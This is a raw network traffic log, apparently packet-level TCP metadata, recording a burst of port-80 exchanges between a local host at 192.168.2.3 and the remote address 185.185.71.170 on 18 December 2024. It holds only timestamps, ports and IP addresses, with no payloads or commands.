Dec 18, 2024 20:56:34.702610016 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.703306913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.703442097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.703555107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.704396963 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.704509020 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.705532074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.705584049 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.705648899 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.705718040 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.706655025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.706759930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.706980944 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.707732916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.707871914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.708240032 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.708861113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.709024906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.709254980 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.710061073 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.710210085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.710345030 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.711095095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.711183071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.711350918 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.712161064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.712274075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.713278055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.713337898 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.713373899 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.713470936 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.714425087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.714613914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.714673996 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.715461969 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.715569019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.715653896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.716576099 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.716670990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.716732979 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.717698097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.717802048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.718130112 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.718826056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.718924999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.719233036 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.719908953 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.720011950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.720117092 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.721992970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.723144054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.723339081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.726346016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.726365089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.726372004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.726382971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.726423979 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.727132082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.727303982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.727432013 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.728231907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.728420973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.728509903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.729244947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.729563951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.729722023 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.730557919 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.730715990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.730787039 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.731669903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.731820107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.731889009 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.732726097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.732880116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.732954025 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.733340025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.733481884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.733558893 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.735115051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.735265017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.735320091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.736092091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.736247063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.736393929 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.737181902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.737205982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.737365007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.737605095 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.738332033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.738496065 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.738559008 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.739306927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.739480019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.739614010 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.740536928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.740685940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.740770102 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.741606951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.741776943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.742304087 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.742757082 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.742763996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.742928982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.743902922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.743908882 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.744126081 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.744864941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.745033026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.745105028 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.746186018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.746196985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.746371984 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.747154951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.747165918 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.747328997 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.748281002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.748287916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.748337030 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.749370098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.749686003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.749797106 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.750638008 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.750648975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.750819921 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.751643896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.751650095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.751733065 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.752907991 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.753092051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.753304005 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.753948927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.753956079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.754162073 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.754924059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.755093098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.755192041 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.756016016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.756171942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.756547928 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.757081032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.758183956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.758251905 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.758527040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.758843899 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.759005070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.759005070 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.759834051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.759896040 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.759967089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.760966063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.761096001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.772222996 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.891974926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.892046928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.892116070 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.892503977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.892623901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.892896891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.893652916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.893980980 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.894098043 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.894114971 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.895137072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.895198107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.895258904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.896176100 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.896353006 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.896395922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.897383928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.897553921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.897592068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.898466110 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.898550034 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.898610115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.899709940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.899785995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.900172949 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.900876045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.901016951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.901093960 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.901885986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.901962042 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.902024031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.903350115 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.903445005 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.903448105 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.904633045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.904710054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.904735088 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.905925035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.906040907 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.906071901 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.907080889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.907190084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.907213926 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.908062935 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.908173084 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.908185005 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.909168005 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.909261942 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.909301996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.910151958 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.910209894 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.910305023 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.910871983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.910959959 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.910964966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.911736965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.911786079 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.911837101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.912889957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.912952900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.912954092 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.913932085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.914031029 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.914045095 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.915303946 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.915448904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.915512085 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.916593075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.916651011 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.916724920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.917908907 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.918041945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.918077946 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.919111967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.919210911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.919262886 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.920277119 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.920403004 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.920422077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.921629906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.921696901 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.921730042 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.922705889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.922827959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.922879934 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.923868895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.923928976 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.924010038 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.924916029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.924993038 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.925015926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.925965071 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.926047087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.926189899 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.926850080 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.926923990 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.926966906 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.927798986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.927947044 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.927980900 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.928889036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.929039001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.929048061 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.929935932 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.929991961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.930113077 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.930851936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.930983067 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.931011915 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.931790113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.931859016 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.931911945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.935738087 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.935751915 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.935759068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.935765028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.935770035 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.935776949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.935852051 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.935852051 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.936084032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.936181068 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.936212063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.937205076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.937262058 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.937319040 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.938450098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.938498020 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.938647985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.939555883 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.939651966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.939697981 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.940570116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.940620899 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.940789938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.941719055 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.941827059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.942008018 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.943387032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.943398952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.943588018 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.943907976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.943969011 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.944015026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.945074081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.945156097 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.945225000 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.946089029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.946196079 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.947423935 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.947520018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.947886944 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.947992086 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.948098898 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.949348927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.949476957 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.949601889 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.949736118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:34.951040983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:34.993745089 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.084245920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.084340096 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.084757090 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.084813118 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.084877014 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.085541010 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.085689068 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.085726023 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.085840940 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.086632013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.086800098 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.086986065 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.087752104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.087889910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.087963104 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.088862896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.088963985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.089982033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.090089083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.090143919 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.091098070 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.091232061 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.091254950 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.091423988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.092255116 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.092304945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:35.092571020 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:35.093450069 CET	80	49747	185.185.71.170	192.168.2.3
